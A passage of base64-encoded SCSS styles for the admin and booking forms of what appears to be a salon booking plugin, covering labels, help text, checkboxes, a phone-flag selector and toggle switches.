ge1xuICAgIEBleHRlbmQgJWZvbnQtYmlnO1xuICAgIGNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLXRleHQoMSk7XG4gICAgZm9udC1zaXplOiAxcmVtO1xuICAgIGZvbnQtd2VpZ2h0OiA0MDA7XG4gICAgcGFkZGluZzogMCBzZXR0aW5ncy1taXhpbnMucmVtKDE2cHgpO1xuICAgIG1hcmdpbi1ib3R0b206IHNldHRpbmdzLW1peGlucy5yZW0oMTBweCk7XG4gICAgbGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oMjRweCk7XG4gIH1cbiAgLy8jc2xuX2Jvb2tpbmctZGV0YWlscyAlc2xuLWlucHV0LWxhYmVsIHtcbiAgLy9cdGxhYmVsIHtcbiAgLy9cdFx0Zm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDE0cHgsIDE2cHgpO1xuICAvL1x0fVxuICAvL31cbiAgJXNsbi1pbnB1dC1sYWJlbC0tYmlnIHtcbiAgICBAZXh0ZW5kICVmb250LWJpZztcbiAgICBAZXh0ZW5kICVmb250LWNsX21haW47XG4gICAgZm9udC13ZWlnaHQ6IDQwMDtcbiAgICBwYWRkaW5nOiBzZXR0aW5ncy1taXhpbnMucmVtKDE2cHgpIHNldHRpbmdzLW1peGlucy5yZW0oMjRweClcbiAgICAgIHNldHRpbmdzLW1peGlucy5yZW0oMTZweCkgMDtcbiAgICBtYXJnaW4tYm90dG9tOiAwO1xuICB9XG4gICVzbG4taW5wdXQtaGVscCB7XG4gICAgcCB7XG4gICAgICBAZXh0ZW5kICVmb250LW1lZGl1bTtcbiAgICAgIEBleHRlbmQgJWZvbnQtY2xfc3RhbmRhcmQtLW1lZGl1bTtcbiAgICAgIGZvbnQtd2VpZ2h0OiA0MDA7XG4gICAgICBwYWRkaW5nOiBzZXR0aW5ncy1taXhpbnMucmVtKDEwcHgpIHNldHRpbmdzLW1peGlucy5yZW0oMTZweCk7XG4gICAgICBtYXJnaW46IDA7XG4gICAgfVxuICB9XG4gICVzbG4tYmlnLWJvcmRlciB7XG4gICAgYm9yZGVyOiBzZXR0aW5ncy1taXhpbnMucmVtKDNweCkgc29saWQgYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcbiAgfVxuICAlc2xuLWJpZy1ib3JkZXItLW9uaG92ZXIge1xuICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChkZXNrdG9wKSB7XG4gICAgICB0cmFuc2l0aW9uOiBib3JkZXItY29sb3IgMjUwbXM7XG4gICAgICBib3JkZXI6IHNldHRpbmdzLW1peGlucy5yZW0oM3B4KSBzb2xpZCB0cmFuc3BhcmVudDtcbiAgICAgICY6aG92ZXIge1xuICAgICAgICBib3JkZXItY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG4gICAgICB9XG4gICAgfVxuICB9XG4gICVzbG4tc21hbGwtYm9yZGVyIHtcbiAgICBib3JkZXI6IHNldHRpbmdzLW1peGlucy5yZW0oMnB4KSBzb2xpZCBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuICB9XG4gICVzbG4tc21hbGwtYm9yZGVyLS1vbmhvdmVyIHtcbiAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAoZGVza3RvcCkge1xuICAgICAgdHJhbnNpdGlvbjogYm9yZGVyLWNvbG9yIDI1MG1zO1xuICAgICAgYm9yZGVyOiBzZXR0aW5ncy1taXhpbnMucmVtKDJweCkgc29saWQgdHJhbnNwYXJlbnQ7XG4gICAgICAmOmhvdmVyIHtcbiAgICAgICAgYm9yZGVyLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuICAgICAgfVxuICAgIH1cbiAgfVxuICAuc2xuLWZha2UtbGFiZWwsXG4gIC5zbG4tZ3N0LWxhYmVsLS0tIHtcbiAgICBAZXh0ZW5kICVmb250LWJpZztcbiAgICBAZXh0ZW5kICVmb250LWNsX21haW47XG4gICAgZm9udC13ZWlnaHQ6IDQwMDtcbiAgICBwYWRkaW5nOiAwIHNldHRpbmdzLW1peGlucy5yZW0oMTZweCk7XG4gICAgbWFyZ2luLWJvdHRvbTogMDtcbiAgICBsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg0MHB4KTtcbiAgICBtYXJnaW4tdG9wOiAwO1xuICB9XG4gIC5zbG4tZ3N0LWxhYmVsIHtcbiAgICBkaXNwbGF5OiBub25lO1xuICAgIG9wYWNpdHk6IDA7XG4gICAgcG9pbnRlci1ldmVudHM6IG5vbmU7XG4gICAgbWFyZ2luLXRvcDogMDtcbiAgICAvL21hcmdpbi1ib3R0b206IC0wLjE2cmVtO1xuICAgIHBhZGRpbmc6IDAgc2V0dGluZ3MtbWl4aW5zLnJlbSgxNnB4KTtcbiAgICBAZXh0ZW5kICVmb250LWJpZztcbiAgICBAZXh0ZW5kICVmb250LWNsX21haW47XG4gICAgQGV4dGVuZCAlc2xuLWlucHV0LWxhYmVsO1xuXG4gICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHRhYmxldCkge1xuICAgICAgZGlzcGxheTogYmxvY2s7XG4gICAgfVxuICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChkZXNrdG9wKSB7XG4gICAgICAvL21hcmdpbi1ib3R0b206IC0wLjE4cmVtO1xuICAgIH1cbiAgfVxuICAvLyBVVElMSVRJRVMgLy8gRU5EXG5cbiAgYm9keTpub3QoLnNhbG9uZV9wYWdlX3NhbG9uLXNldHRpbmdzKTpub3QoLnNhbG9uX3BhZ2Vfc2Fsb24tc2V0dGluZ3MpXG4gICAgLnNsbi1pbnB1dC0tb2xkc3R5bGUge1xuICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgIHdpZHRoOiAxMDAlO1xuICAgIC8vaGVpZ2h0OiAzNHB4O1xuICAgIHBhZGRpbmc6IDZweCAxMnB4O1xuICAgIGZvbnQtc2l6ZTogMTRweDtcbiAgICBsaW5lLWhlaWdodDogMS40Mjg1NzE0MztcbiAgICBjb2xvcjogIzU1NTU1NTtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgIGJhY2tncm91bmQtaW1hZ2U6IG5vbmU7XG4gICAgYm9yZGVyOiAxcHggc29saWQgI2NjYztcbiAgICBib3JkZXItcmFkaXVzOiA0cHg7XG4gICAgLXdlYmtpdC1ib3gtc2hhZG93OiBpbnNldCAwIDFweCAxcHggcmdiYSgwLCAwLCAwLCAwLjA3NSk7XG4gICAgYm94LXNoYWRvdzogaW5zZXQgMCAxcHggMXB4IHJnYmEoMCwgMCwgMCwgMC4wNzUpO1xuICAgIC13ZWJraXQtdHJhbnNpdGlvbjpcbiAgICAgIGJvcmRlci1jb2xvciBlYXNlLWluLW91dCAwLjE1cyxcbiAgICAgIGJveC1zaGFkb3cgZWFzZS1pbi1vdXQgMC4xNXM7XG4gICAgLW8tdHJhbnNpdGlvbjpcbiAgICAgIGJvcmRlci1jb2xvciBlYXNlLWluLW91dCAwLjE1cyxcbiAgICAgIGJveC1zaGFkb3cgZWFzZS1pbi1vdXQgMC4xNXM7XG4gICAgdHJhbnNpdGlvbjpcbiAgICAgIGJvcmRlci1jb2xvciBlYXNlLWluLW91dCAwLjE1cyxcbiAgICAgIGJveC1zaGFkb3cgZWFzZS1pbi1vdXQgMC4xNXM7XG4gIH1cblxuICAuc2xuLWlucHV0LWhlbHAge1xuICAgIG1heC13aWR0aDogNDQwcHg7XG4gICAgQGV4dGVuZCAlZm9udC1tZWRpdW07XG4gIH1cbiAgLnNsbi1pbnB1dC0tc2ltcGxlIHtcbiAgICBAZXh0ZW5kICVzbG4taW5wdXQ7XG4gICAgQGV4dGVuZCAlc2xuLWlucHV0LWhlbHA7XG4gICAgbWFyZ2luLWJvdHRvbTogMi41cmVtO1xuICAgIGxhYmVsIHtcbiAgICAgIEBleHRlbmQgJXNsbi1pbnB1dC1sYWJlbDtcbiAgICB9XG4gICAgLml0aV9fZmxhZy1jb250YWluZXIge1xuICAgICAgd2lkdGg6IDRyZW07XG4gICAgICAuaXRpX19zZWxlY3RlZC1mbGFnIHtcbiAgICAgICAgZGlzcGxheTogZ3JpZDtcbiAgICAgICAgZ3JpZC10ZW1wbGF0ZTogYXV0byAvIDFmciAxNnB4O1xuICAgICAgICBqdXN0aWZ5LWl0ZW1zOiBjZW50ZXI7XG4gICAgICAgIGFsaWduLWl0ZW1zOiBlbmQ7XG4gICAgICAgICY6OmFmdGVyIHtcbiAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1haW4oMC4xKTtcbiAgICAgICAgfVxuICAgICAgICAuaXRpX19mbGFnIHtcbiAgICAgICAgICBncmlkLXJvdzogMTtcbiAgICAgICAgICBncmlkLWNvbHVtbjogMTtcbiAgICAgICAgfVxuICAgICAgICAuaXRpX19zZWxlY3RlZC1kaWFsLWNvZGUge1xuICAgICAgICAgIGdyaWQtcm93OiAyO1xuICAgICAgICAgIGdyaWQtY29sdW1uOiAxO1xuICAgICAgICAgIGFsaWduLXNlbGY6IHN0YXJ0O1xuICAgICAgICAgIG1hcmdpbi1sZWZ0OiAwO1xuICAgICAgICAgIG1hcmdpbi10b3A6IDRweDtcbiAgICAgICAgICAmOmVtcHR5IHtcbiAgICAgICAgICAgIG1hcmdpbi10b3A6IDA7XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICAgIC5pdGlfX2Fycm93IHtcbiAgICAgICAgICBncmlkLXJvdzogMSAvIHNwYW4gMjtcbiAgICAgICAgICBncmlkLWNvbHVtbjogMjtcbiAgICAgICAgICBhbGlnbi1zZWxmOiBjZW50ZXI7XG4gICAgICAgICAgYm9yZGVyLXdpZHRoOiA4cHggNnB4IDAgNnB4O1xuICAgICAgICB9XG4gICAgICB9XG4gICAgfVxuICAgICNzYWxvbl9zZXR0aW5nc19zbXNfcHJlZml4IHtcbiAgICAgIHBhZGRpbmctbGVmdDogNXJlbTtcbiAgICB9XG4gICAgI19zbG5fYm9va2luZ19waG9uZSB7XG4gICAgICBwYWRkaW5nLWxlZnQ6IDQuMjVyZW07XG4gICAgfVxuICB9XG4gIC5zbG4tY2hlY2tib3gge1xuICAgIGxhYmVsIHtcbiAgICAgIEBleHRlbmQgJXNsbi1pbnB1dC1sYWJlbC0tYmlnO1xuICAgIH1cbiAgICBAZXh0ZW5kICVzbG4taW5wdXQtaGVscDtcbiAgICBtYXJnaW4tYm90dG9tOiAyLjVyZW07XG4gICAgaW5wdXQge1xuICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgbWFyZ2luLWxlZnQ6IC05OTk5cHg7XG4gICAgICB2aXNpYmlsaXR5OiBoaWRkZW47XG4gICAgfVxuICAgIGlucHV0ICsgbGFiZWwge1xuICAgICAgZGlzcGxheTogZ3JpZDtcbiAgICAgIHdpZHRoOiBmaXQtY29udGVudDtcbiAgICAgIGhlaWdodDogYXV0bztcbiAgICAgIG1pbi13aWR0aDogMTZyZW07XG4gICAgICBtaW4taGVpZ2h0OiAzLjMzcmVtO1xuICAgICAgZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiAxLjVyZW0gYXV0bztcbiAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgICBnYXA6IDFyZW07XG4gICAgICBwYWRkaW5nOiAwLjVyZW0gMXJlbTtcbiAgICAgIGxpbmUtaGVpZ2h0OiAxLjQ7XG4gICAgICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gICAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgICBvdXRsaW5lOiBub25lO1xuICAgICAgdXNlci1zZWxlY3Q6IG5vbmU7XG4gICAgICBib3JkZXI6IDJweCBzb2xpZCBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1haW4tLWxpZ2h0KDApO1xuICAgICAgYm9yZGVyLXJhZGl1czogNXB4O1xuICAgICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKGRlc2t0b3ApIHtcbiAgICAgICAgLy9oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNjBweCk7XG4gICAgICB9XG4gICAgICBzcGFuIHtcbiAgICAgICAgZ3JpZC1jb2x1bW46IDI7XG4gICAgICAgIGdyaWQtcm93OiAxO1xuICAgICAgICBwYWRkaW5nLXJpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDIwcHgpO1xuICAgICAgfVxuICAgICAgJjpiZWZvcmUsXG4gICAgICAmOmFmdGVyIHtcbiAgICAgICAgZGlzcGxheTogYmxvY2s7XG4gICAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgICAgICB3aWR0aDogMS41cmVtO1xuICAgICAgICBoZWlnaHQ6IDEuNXJlbTtcbiAgICAgICAgZ3JpZC1jb2x1bW46IDE7XG4gICAgICAgIGdyaWQtcm93OiAxO1xuICAgICAgICB0cmFuc2l0aW9uOiBhbGwgMC4xNXM7XG4gICAgICAgIC8vcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgICAvL3RvcDogc2V0dGluZ3MtbWl4aW5zLnJlbSgxMnB4KTtcbiAgICAgICAgLy90b3A6IDUwJTtcbiAgICAgICAgLy9yaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSgxNHB4KTtcbiAgICAgIH1cbiAgICAgICY6YmVmb3JlIHtcbiAgICAgICAgd2lkdGg6IDEuNXJlbTtcbiAgICAgICAgaGVpZ2h0OiAxLjVyZW07XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuICAgICAgICBjb250ZW50OiAnJztcbiAgICAgICAgYmFja2ZhY2UtdmlzaWJpbGl0eTogaGlkZGVuO1xuICAgICAgICBib3JkZXI6IDJweCBzb2xpZCBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1haW4oMSk7XG4gICAgICAgIGJvcmRlci1yYWRpdXM6IHNldHRpbmdzLW1peGlucy5yZW0oNHB4KTtcbiAgICAgIH1cbiAgICAgIC8qIEZJWCAwOTIwMjMgXG5cdFx0XHQqL1xuICAgICAgJjphZnRlciB7XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuICAgICAgICBjb250ZW50OiAnIFxcZjAwYyc7XG4gICAgICAgIGJhY2tmYWNlLXZpc2liaWxpdHk6IGhpZGRlbjtcbiAgICAgICAgb3BhY2l0eTogMTtcbiAgICAgICAgQGV4dGVuZCAlZm9udC1pY29uO1xuICAgICAgICBmb250LXNpemU6IDEuMTI1cmVtO1xuICAgICAgICBsaW5lLWhlaWdodDogMS40cmVtO1xuICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gICAgICAgIG9wYWNpdHk6IDA7XG4gICAgICB9XG4gICAgICAmOmFjdGl2ZSB7XG4gICAgICAgIGJvcmRlci1jb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1tYWluKDEpO1xuICAgICAgfVxuICAgICAgQG1lZGlhIChob3ZlcjogaG92ZXIpLCAoLW1zLWhpZ2gtY29udHJhc3Q6IG5vbmUpIHtcbiAgICAgICAgJjpob3ZlciB7XG4gICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodGVyO1xuICAgICAgICAgICY6OmJlZm9yZSB7XG4gICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuICAgICAgICAgIH1cbiAgICAgICAgICAvKiBGSVggMDkyMDIzIFxuXHRcdFx0XHRcdCY6OmFmdGVyIHtcblx0XHRcdFx0XHRcdGNvbG9yOiAkc2xuLWNvbG9yLS1lbXBoYXNpcztcblx0XHRcdFx0XHRcdG9wYWNpdHk6IDE7XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHRcdCovXG4gICAgICAgIH1cbiAgICAgIH1cbiAgICAgICY6YWN0aXZlIHtcbiAgICAgICAgJjpiZWZvcmUsXG4gICAgICAgICY6YWZ0ZXIge1xuICAgICAgICAgIHRyYW5zZm9ybTogc2NhbGUoMS4yKTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgIH1cbiAgICBpbnB1dDpjaGVja2VkICsgbGFiZWwge1xuICAgICAgJjo6YmVmb3JlIHtcbiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcbiAgICAgICAgYm9yZGVyLWNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1haW4tLWxpZ2h0KDEpO1xuICAgICAgfVxuICAgICAgLyogRklYIDA5MjAyMyBcblx0XHRcdCovXG4gICAgICAmOmFmdGVyLFxuICAgICAgJjpob3ZlcjphZnRlciB7XG4gICAgICAgIG9wYWNpdHk6IDE7XG4gICAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG4gICAgICB9XG4gICAgfVxuICAgIC8qXG5cdFx0bGFiZWwgc3BhbiB7XG5cdFx0XHQvLyBVU0VEIEZPUiBFTVBIQVNJU1xuXHRcdFx0ZGlzcGxheTogaW5saW5lLWJsb2NrO1xuXHRcdFx0cGFkZGluZy1sZWZ0OiBzZXR0aW5ncy1taXhpbnMucmVtKDEwcHgpO1xuXHRcdFx0Zm9udC13ZWlnaHQ6IDcwMDtcblx0XHR9XG5cdFx0Ki9cbiAgICAmLnNsbi1jaGVja2JveC0tY2hlY2tvbmx5IHtcbiAgICAgIGdyaWQtdGVtcGxhdGU6IDAgLyAxZnI7XG4gICAgICBpbnB1dCArIGxhYmVsIHtcbiAgICAgICAgbWluLXdpZHRoOiAxMDAlO1xuICAgICAgICBnYXA6IDA7XG4gICAgICAgICY6YWN0aXZlIHtcbiAgICAgICAgICBib3JkZXItY29sb3I6IHRyYW5zcGFyZW50O1xuICAgICAgICB9XG5cbiAgICAgICAgQG1lZGlhIChob3ZlcjogaG92ZXIpLCAoLW1zLWhpZ2gtY29udHJhc3Q6IG5vbmUpIHtcbiAgICAgICAgICAmOmhvdmVyLFxuICAgICAgICAgICY6YWN0aXZlIHtcbiAgICAgICAgICAgICY6YmVmb3JlIHtcbiAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1haW4oMSk7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICAmOmJlZm9yZSxcbiAgICAgICAgICAgICY6YWZ0ZXIge1xuICAgICAgICAgICAgICB0cmFuc2Zvcm06IHNjYWxlKDEuMik7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICB9XG4gICAgICBpbnB1dDpjaGVja2VkICsgbGFiZWwge1xuICAgICAgICBAbWVkaWEgKGhvdmVyOiBob3ZlciksICgtbXMtaGlnaC1jb250cmFzdDogbm9uZSkge1xuICAgICAgICAgICY6aG92ZXIsXG4gICAgICAgICAgJjphY3RpdmUge1xuICAgICAgICAgICAgJjpiZWZvcmUge1xuICAgICAgICAgICAgICBib3JkZXItY29sb3I6IHRyYW5zcGFyZW50O1xuICAgICAgICAgICAgfVxuICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgfVxuICAgIH1cbiAgfVxuICAuc2xuLWNoZWNrYm94LS1udSB7XG4gICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgIGxhYmVsIHtcbiAgICAgIEBleHRlbmQgJXNsbi1pbnB1dC1sYWJlbC0tYmlnO1xuICAgIH1cbiAgICBAZXh0ZW5kICVzbG4taW5wdXQtaGVscDtcbiAgICBtYXJnaW4tYm90dG9tOiBzZXR0aW5ncy1taXhpbnMucmVtKDQwcHgpO1xuICAgIGlucHV0IHtcbiAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgIG1hcmdpbi1sZWZ0OiAtOTk5OXB4O1xuICAgICAgdmlzaWJpbGl0eTogaGlkZGVuO1xuICAgIH1cbiAgICAvL2xhYmVsIHtcbiAgICAvL1x0Zm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDIxcHgpO1xuICAgIC8vfVxuICAgIGlucHV0ICsgbGFiZWwge1xuICAgICAgZGlzcGxheTogYmxvY2s7XG4gICAgICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gICAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgICBvdXRsaW5lOiBub25lO1xuICAgICAgdXNlci1zZWxlY3Q6IG5vbmU7XG4gICAgICBwYWRkaW5nOiAwIHNldHRpbmdzLW1peGlucy5yZW0oMThweCk7XG4gICAgICBoZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oODBweCk7XG4gICAgICBkaXNwbGF5OiBncmlkO1xuICAgICAgZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiBzZXR0aW5ncy1taXhpbnMucmVtKDM2cHgpIGF1dG87XG4gICAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgICAgY29sdW1uLWdhcDogc2V0dGluZ3MtbWl4aW5zLnJlbSgyMHB4KTtcbiAgICAgIC8vYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICRjbF9tYWluLS1saWdodDtcbiAgICAgIHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7XG4gICAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAoZGVza3RvcCkge1xuICAgICAgICAvL2hlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg2MHB4KTtcbiAgICAgIH1cbiAgICAgIC8vQGV4dGVuZCAlc2xuLWJpZy1ib3JkZXItLW9uaG92ZXI7XG4gICAgICAvLyY6bnRoLWNoaWxkKDIpIHtcbiAgICAgIC8vXHRtYXJnaW4tdG9wOiBzZXR0aW5ncy1taXhpbnMucmVtKDMwcHgpO1xuICAgICAgLy99XG4gICAgICBzcGFuIHtcbiAgICAgICAgZ3JpZC1jb2x1bW46IDI7XG4gICAgICAgIGdyaWQtcm93OiAxO1xuICAgICAgICBwYWRkaW5nLWxlZnQ6IHNldHRpbmdzLW1peGlucy5yZW0oMjBweCk7XG4gICAgICB9XG4gICAgICAmOmJlZm9yZSxcbiAgICAgICY6YWZ0ZXIge1xuICAgICAgICBkaXNwbGF5OiBibG9jaztcbiAgICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgICAgIHdpZHRoOiAxLjVyZW07XG4gICAgICAgIGhlaWdodDogMS41cmVtO1xuICAgICAgICBncmlkLWNvbHVtbjogMTtcbiAgICAgICAgZ3JpZC1yb3c6IDE7XG4gICAgICAgIHRyYW5zaXRpb246IGFsbCAwLjE1cztcbiAgICAgICAgLy9wb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgICAgIC8vdG9wOiBzZXR0aW5ncy1taXhpbnMucmVtKDEycHgpO1xuICAgICAgICAvL3RvcDogNTAlO1xuICAgICAgICAvL3JpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDE0cHgpO1xuICAgICAgfVxuICAgICAgJjpiZWZvcmUge1xuICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgICAgY29udGVudDogJyc7XG4gICAgICAgIGJhY2tmYWNlLXZpc2liaWxpdHk6IGhpZGRlbjtcbiAgICAgICAgYm9yZGVyOiAycHggc29saWQgYWRtaW5fY29uZmlnLiRjbF9udS0taGlnaGVtcGhhO1xuICAgICAgICBib3JkZXItcmFkaXVzOiBzZXR0aW5ncy1taXhpbnMucmVtKDRweCk7XG4gICAgICB9XG4gICAgICAvKiBGSVggMDkyMDIzICovXG4gICAgICAmOmFmdGVyIHtcbiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgICAgIGNvbnRlbnQ6ICcgXFxmMDBjJztcbiAgICAgICAgYmFja2ZhY2UtdmlzaWJpbGl0eTogaGlkZGVuO1xuICAgICAgICBvcGFjaXR5OiAxO1xuICAgICAgICBAZXh0ZW5kICVmb250LWljb247XG4gICAgICAgIGZvbnQtc2l6ZTogMS4xMjVyZW07XG4gICAgICAgIGxpbmUtaGVpZ2h0OiAxLjRyZW07XG4gICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgICAgICAgb3BhY2l0eTogMDtcbiAgICAgIH1cblxuICAgICAgQG1lZGlhIChob3ZlcjogaG92ZXIpLCAoLW1zLWhpZ2gtY29udHJhc3Q6IG5vbmUpIHtcbiAgICAgICAgJjpob3ZlciB7XG4gICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodGVyO1xuICAgICAgICAgICY6OmJlZm9yZSB7XG4gICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuICAgICAgICAgIH1cbiAgICAgICAgICAvKiBGSVggMDkyMDIzICovXG4gICAgICAgICAgJjo6YWZ0ZXIge1xuICAgICAgICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kc2xuLWNvbG9yLS1lbXBoYXNpcztcbiAgICAgICAgICAgIG9wYWNpdHk6IDE7XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICB9XG4gICAgICAmOmFjdGl2ZSB7XG4gICAgICAgICY6YmVmb3JlLFxuICAgICAgICAmOmFmdGVyIHtcbiAgICAgICAgICB0cmFuc2Zvcm06IHNjYWxlKDEuMik7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9XG4gICAgaW5wdXQ6Y2hlY2tlZCArIGxhYmVsIHtcbiAgICAgICY6OmJlZm9yZSB7XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG4gICAgICAgIGJvcmRlci1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcbiAgICAgIH1cbiAgICAgIC8qIEZJWCAwOTIwMjMgKi9cbiAgICAgICY6YWZ0ZXIsXG4gICAgICAmOmhvdmVyOmFmdGVyIHtcbiAgICAgICAgb3BhY2l0eTogMTtcbiAgICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgICAgIH1cbiAgICB9XG4gICAgLypcblx0XHRsYWJlbCBzcGFuIHtcblx0XHRcdC8vIFVTRUQgRk9SIEVNUEhBU0lTXG5cdFx0XHRkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG5cdFx0XHRwYWRkaW5nLWxlZnQ6IHNldHRpbmdzLW1peGlucy5yZW0oMTBweCk7XG5cdFx0XHRmb250LXdlaWdodDogNzAwO1xuXHRcdH1cblx0XHQqL1xuICAgICYuc2xuLWNoZWNrYm94LS1jaGVja29ubHkge1xuICAgICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgICAgaW5wdXQgKyBsYWJlbCB7XG4gICAgICAgIGJvcmRlci1ib3R0b206IG5vbmU7XG4gICAgICB9XG4gICAgfVxuICB9XG4gIC5zbG4tc3dpdGNoIHtcbiAgICAmLnNsbi1zd2l0Y2gtLXZpZXdtb2RlIHtcbiAgICAgIG1hcmdpbi1ib3R0b206IDA7XG4gICAgfVxuICAgIGxhYmVsIHtcbiAgICAgIEBleHRlbmQgJXNsbi1pbnB1dC1sYWJlbC0tYmlnO1xuICAgICAgYm9yZGVyOiAycHggc29saWQgY29sb3JzLW51LnNsbi1udWNvbG9yLS1tYWluLS1saWdodCgwKTtcbiAgICAgIGJvcmRlci1yYWRpdXM6IDVweDtcbiAgICB9XG4gICAgQGV4dGVuZCAlc2xuLWlucHV0LWhlbHA7XG4gICAgbWFyZ2luLWJvdHRvbTogc2V0dGluZ3MtbWl4aW5zLnJlbSg0MHB4KTtcbiAgICBpbnB1dCB7XG4gICAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgICBtYXJnaW4tbGVmdDogLTk5OTlweDtcbiAgICAgIHZpc2liaWxpdHk6IGhpZGRlbjtcbiAgICB9XG4gICAgLyogRklYIDA5MjAyMyBcblx0XHRsYWJlbCB7XG5cdFx0XHRmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMjFweCk7XG5cdFx0fVxuXHRcdHNwYW4ge1xuXHRcdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0XHQmOjpiZWZvcmUge1xuXHRcdFx0XHRkaXNwbGF5OiBpbmxpbmU7XG5cdFx0XHRcdGNvbnRlbnQ6IGF0dHIoZGF0YS1vZmYpO1xuXHRcdFx0fVxuXHRcdH1cblx0XHQqL1xuICAgIGlucHV0ICsgbGFiZWwge1xuICAgICAgZGlzcGxheTogZ3JpZDtcbiAgICAgIGdyaWQtdGVtcGxhdGUtY29sdW1uczogNHJlbSBhdXRvO1xuICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAgICAgIGdhcDogMS4yNXJlbTtcbiAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICAgIGN1cnNvcjogcG9pbnRlcjtcbiAgICAgIG91dGxpbmU6IG